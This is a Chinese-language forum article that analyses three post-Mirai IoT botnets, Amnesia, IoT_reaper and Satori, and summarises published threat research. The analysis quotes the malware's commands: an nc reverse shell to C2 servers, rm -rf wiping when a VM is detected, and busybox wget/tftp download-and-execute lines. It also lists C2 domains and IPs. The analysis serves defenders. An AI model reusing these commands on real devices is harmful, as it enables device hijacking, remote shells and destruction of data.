[原创]盘点继Mirai后2017年出现的iot僵尸网络

发布者:阿東
发布于:2018-04-20 14:13

由于2016年Mirai风波之后,造成的影响甚大,越来越多组织将攻击对象转向物联网设备,随后2017年 基于物联网模式传播以组建僵尸网络也成了一些地下组织的常态,本文以时间线来划分一下,三种最有代表性的僵尸网络

Amnesia家族:

Amnesia僵尸网络的目标是未经修补存在远程代码执行漏洞的设备,该漏洞于一年前于2016年3月在由TVT Digital制作的DVR(数字录像机)设备中公开披露,并由全球70多家供应商进行品牌宣传。根据扫描数据,这个漏洞影响全球大约22.7万台设备,其中台湾,美国,以色列,土耳其和印度是最受欢迎的设备,Amnesia恶意软件是第一个采用虚拟机逃逸技术来绕过linux沙箱保护的恶意软件。虚拟机逃逸技术通常与Microsoft Windows和Google Android恶意软件相关联。与这些类似,Amnesia试图检测它是否运行在基于VirtualBox,VMware或QEMU的虚拟机上,如果它检测到这些环境,它将通过删除文件系统中的所有文件来擦除虚拟化的Linux系统。这不仅会影响Linux恶意软件分析沙箱,还会影响VPS或公共云上的一些基于QEMU的Linux服务器,Amnesia通过扫描,定位易受攻击的设备来利用这个远程代码执行漏洞,一次成功的攻击就可导致Amnesia获得设备的完全控制。

技术细节:

2016年3月22日,安全研究员Rotem Kerner向公众披露了这个漏洞。根据他的博客,全球有超过70家DVR供应商受到这个漏洞的影响。但是,所有的DVR设备都是由同一家公司“TVT Digital”生产的。此外,通过使用“Web服务器”的指纹,安全研究者发现超过22.7万个设备暴露在互联网上,可能是由TVT数字公司生产的。我们还搜索了Shodan.io和Censys.io上的关键字。他们分别报告了约50,000和约705,000个IP地址,下图显示了潜在易受攻击的TVT数字DVR设备排名前20位的国家/地区:


漏洞利用和exploit开发:

Amnesia僵尸网络使用IRC协议与其C2服务器进行通信。下图显示了它可接收的一些命令,包括通过不同类型的HTTP泛洪和UDP泛洪来发起DDoS攻击。

Amnesia家族所用的C2命令,除了这些命令外,还实施了两个命令:CCTVSCANNER和CCTVPROCS。这些命令用于扫描和利用TVT数字硬盘录像机的RCE漏洞。接收到命令后,Amnesia首先会对该命令包含的IP地址进行简单的HTTP请求,检查目标是否为易受攻击的DVR设备。这是通过在HTTP响应内容中搜索一个特殊的字符串“Cross Web Server”完成的,如图所示,因为TVT Digital的DVR使用这个字符串作为HTTP头中的服务器名称。

上图通过指纹检查目标是否是易受攻击的DVR

如果发现一个易受攻击的DVR,Amnesia将发送四个HTTP请求,其中包含四个不同shell命令的payload,这些命令是:

echo “nc” > f

echo “{one_of_c2_domains}” >> f

echo “8888 –e $SHELL” >> f

$(cat f) & > r

这些命令创建一个shell脚本并执行它。脚本内容是与Amnesia C2服务器之一连接,并获取shell。因此,受感染的设备将会受到威胁,并会侦听来自C2服务器的进一步shell命令,如下图所示

反取证

当Amnesia样本执行时,它会通过读取文件/ sys / class / dmi / id / product_name和/ sys / class / dmi / id / sys_vendor并且将文件内容与关键字“VirtualBox “,”VMware“和”QEMU“,Linux DMI(桌面管理界面)使用这两个文件来存储硬件的产品和制造商信息。这些包含在DMI文件中的字符串意味着Linux系统分别在基于VirtualBox,VMware或QEMU的虚拟机中运行。

如果检测到虚拟机,Amnesia会自行删除,然后尝试删除所有以下目录:
Linux根目录“/”,
当前用户的主目录“〜/”和
当前工作目录“./”
这些删除操作基本上等同于擦除整个Linux系统。它们是通过简单地执行shell命令“rm -rf”来实现的,如下图所示。对于每个目录,“rm”命令将被执行两次 – 一个在后台,一个在前台。因此,删除这三个目录将是平行的。最后,Amnesia等待删除完成。

Amnesia的作者正打算击败基于Linux的恶意软件分析沙箱,并且由于代码中的硬编码字符串(“fxxkwhitehats”)而给安全研究人员带来麻烦。但是,基于虚拟机的沙箱通常会启用系统快照,从而可以快速恢复到原始状态(尽管样本的分析任务可能会被破坏)在这些情况下,影响将受到限制。真正的问题是,如果恶意软件感染了某些基于QEMU的Linux服务器实例,比如VPS厂商提供的虚拟主机,则Linux服务器也将被清除,如果备份不可用,这可能是灾难性的。VM检查后,Amnesia会在/etc/init.d/.rebootime和/etc/cron.daily/.reboottime或〜/ .bashrc和〜/ .bash_history中创建持久性文件,具体取决于当前用户的权限。然后杀死所有Telnet和SSH相关的进程,并连接到C2服务器以接收更多命令。

Amnesia硬编码的三个域名,“irc.freenode.net”作为诱饵C2服务器地址。然而,真正的C2配置在运行时通过简单的凯撒密码算法进行解密。它选择这三个服务器之一:

ukranianhorseriding[.]net

surrealzxc.co[.]za

inversefierceapplied[.]pw

自2016 年12月1 日起,所有这三个域名均已解析为相同的IP地址93.174.95 .38。在此之前,IP地址还用于托管其他物联网/ Linux恶意软件,如DropPerl。

IoT_reaper家族:


Iot_reaper家族从著名的Mirai僵尸网络借用了一些代码,但并不没有加入密码破解功能,反而是利用物联网设备的漏洞,所以把它命名为Iot_reaper,Iot_reaper相当大,也正在不段扩展,最近一次来自C2的数据(10月19日)显示,唯一活动的bot的IP地址数量每天超过10k。与此同时,有数百万潜在的易受攻击的设备IP正在排队等待由自动加载程序处理的c2系统,该加载程序会向设备注入恶意代码以扩大僵尸网络,僵尸网络部分借用了一些mirai源代码,但是与mirai在几个关键行为上有明显的不同,其中包括:

不再破解任何弱密码,只能利用物联网设备的漏洞

集成LUA执行环境,可以支持和执行更复杂的攻击

扫描动作比较小, 所以不会触发一些安全警告或者防火墙之类

设备与C2服务器数据交互的模式 :                                                                                                                                                                                                     样本下载服务器: 162.211.183.192,可以从这个服务器下载bot程序,它通常使用“d”作为二级域名,如 d .hl852 .com

主控端服务器:     27.102.101.121,   用于控制设备,发送命令,通常使用“e”作为子域,如 e.hl852 .com
扫描服务器:         222.112.82.231,  用于收集的潜在存在漏洞的设备信息,通常使用“f”作为子域,如f .hl852.com。
攻击服务器:         119.82.26.157,     通过漏洞将bot程序植入扫描服务器收集的设备中

下图显示了上述4个IP的流量模式:                                                   

Iot_reaper中集成的9个IoT漏洞攻击

与使用弱密码破解的Mirai不同,IoT_reaper利用多个物联网设备漏洞感染物联网设备。我们注意到9个IoT漏洞利用已经被整合到当前的样本中,如下所示:

Dlink https://blogs.securiteam.com/index.php/archives/3364

Goahead https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html

JAWS https://www.pentestpartners.com/blog/pwning-cctv-cameras/

Netgear https://blogs.securiteam.com/index.php/archives/3409

Vacron NVR https://blogs.securiteam.com/index.php/archives/3445

网件 http://seclists.org/bugtraq/2013/Jun/8

Linksys http://www.s3cur1ty.de/m1adv2013-004

dlink http://www.s3cur1ty.de/m1adv2013-003

AVTECH https://github.com/Trietptm-on-Security/AVTECH

攻击者不断地在样本中增加了更多的新漏洞,其中一个在漏洞发布后两天就被采用。

2017年10月8日,Vacron NVR远程攻击被曝光,2017年10月10日之前被加入bot样本;在2017-10-12和2017-10-16的两个更新中分别添加3个和1个漏洞利用;

集成在Iot_reaper中的LUA执行环境,基于集成的LUA执行环境,作者现在可以编写非常复杂和高效的攻击脚本,大约100个DNS开放式解析器被集成在这个恶意软件中,直到现在还没有观察到DDoS攻击命令

Md5:CA92A3B74A65CE06035FCC280740DAF6

僵尸网络在其lua示例中嵌入了超过100个DNS开放解析器,因此可以轻松地进行dns放大攻击。与我们的DRDoS数据馈送进行交叉检查表明,这些开放式DNS服务器中有三分之一已经被用作实时DNS放大攻击的反射器,目前还没有看到任何其他mirai变种的这种类型的配置。

在攻击命令方面,虽然我们在Lua执行环境的源文件中看到了对DDoS攻击的支持,但到目前为止还没有看到实际的DDoS攻击。看到的唯一指示是下载样本。这意味着攻击者仍然关注于传播僵尸网络。

通过使用一些技巧,可以得出一些相当准确的测量感染的规模,这里是一个数字样本。

一个等待感染的c2队列中容易受到攻击的设备数量:超过2m;

过去7天内一个c2控制的设备超过20k;

十月十九日每日活跃设备约一万;

由一个c2控制的同时在线设备的数量:大约4k

Satori家族


2017年4月以来,Satori恶意软件发起的攻击就已经被发现,由于  CVE-2014-8361 (Realtek SDK中miniigd SOAP命令执行)和CVE 2017-17215 (华为路由器命令执行)这样两个漏洞才使得Satori开始受关注,Satori家族有三个主要的变异样本

第一种变异只扫描Internet,并通过尝试不同的密码来Telnet登录,成功登录后,首先启用shell访问,然后只执行命令“/ bin / busybox satori”或“/ bin / busybox SATORI”

enable
system
shell
sh
/bin/busybox satori (or /bin/busybox SATORI)

第二种变异增加了一个封隔器,可能会逃避静态检测,同时,攻击者在密码字典中添加“aquario”密码并且在第一次尝试时总是使用“aquario”登录。“aquario”是南美洲国家流行无线路由器的默认密码。这表明攻击者有意在南美洲开始攻击这些设备

enable
system
shell
sh
ping ; sh
/bin/busybox SATORI (or /bin/busybox OKIRU)
>DIR/.file && cd
>DIR/.file && cd DIR && /bin/busybox rm –rf .file
(DIR = [‘/dev/netslink/’, ‘/var/tmp/’, ‘/tmp/’, ‘/var/’, ‘/home’, ‘/’, ‘./’, ‘/dev/’, ‘/mnt/’, ‘/boot/’, ‘/dev/shm/’, ‘/usr/’])
/bin/busybox rm -rf .okiru.dropper .okiru.binary .file
/bin/busybox wget; /bin/busybox tftp; /bin/busybox NBVZA
/bin/busybox wget; /bin/busybox tftp; /bin/busybox echo
/bin/busybox cat /bin/busybox || while read i; do /bin/busybox echo $i; done < /bin/busybox || /bin/busybox dd if=/bin/busybox bs=22 count=1
/bin/busybox cp /bin/busybox xhgyeshowm; /bin/busybox cp /bin/busybox gmlocerfno; >xhgyeshowm; >gmlocerfno; /bin/busybox chmod 777 xhgyeshowm gmlocerfno
/bin/busybox wget http://xxx.xxx.xxx.xxx:xxx/bins/satori.arm -O – > gmlocerfno; /bin/busybox chmod 777 gmlocerfno; ./gmlocerfno arm; >gmlocerfno
/bin/busybox tftp –r satori.arm –l gmlocerfno –g xxx.xxx.xxx.xxx; /bin/busybox chmod 777 gmlocerfno; ./gmlocerfno arm; >gmlocerfno

第三种变异使用两个远程代码执行漏洞的攻击,包括一个零日漏洞(CVE-2017-17215),还有一些与前两种变异共享相同的嵌入式命令

busybox wget -g xxx.xxx.xxx.xxx -l /tmp/rsh -r /okiru.mips ;chmod +x /tmp/rsh ;/tmp/rsh
cd /var/; wget http://xxx.xxx.xxx.xxx/rt.mips -O -> c

                                                           上图“aquario”被添加到密码字典中

                                                         上图为版本2.0和版本3.0中的命令

来自Mirai的衍生物

由于Mirai的源代码是在Github开源的,攻击者可以很容易地重用Mirai的代码来实现网络扫描器和密码暴力登录模块,用于发起telnet暴力密码强制攻击或其他攻击。Satori家族重复使用Mirai代码,包括网络扫描器,telnet密码尝试和看门狗禁用(图4)。

禁用watch-dog(安全狗)

Satori还通过在“/ proc / PID / maps”和“/ proc / PID / exe”下图中搜索八个字符串来遍历“/ proc”来杀死其他进程。在第二个变体中,我们注意到在不同的设备中,查杀过程行为是不同的。Satori通过以相同的方式在“/ proc”中搜索关键字“/ var / Challenge”,“hi3511”,“/ mnt / mtd / app / gui”,“gmDVR”来检查受感染设备是否是特定设备类型。但是,在相应的四个物联网设备中,Satori不会终止进程。从这四个字符串中,我们怀疑Satori的作者已经开始逆向IoT设备的固件,并将发现的0day添加到攻击设备列表中

结论

从上面的Iot僵尸网络家族看出,物联网恶意软件一直存在,从简单的密码暴力攻击发展到利用已知漏洞攻击到利用0day攻击。Mirai的开源代码为物联网恶意软件作者开发新的变异样本提供了一个很好的起点。物联网恶意软件作者继续依赖使用更多已知的漏洞或0day发现易受攻击物联网设备的零日漏洞,很明显这将是个趋势,同样这种趋势也将推动着物联网安全的发展


参考:

https://researchcenter.paloaltonetworks.com/2018/01/unit42-iot-malware-evolves-harvest-bots-exploiting-zero-day-home-router-vulnerability/

https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/

https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/

http://blog.netlab.360.com/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/





声明:该文观点仅代表作者本人,转载请注明来自看雪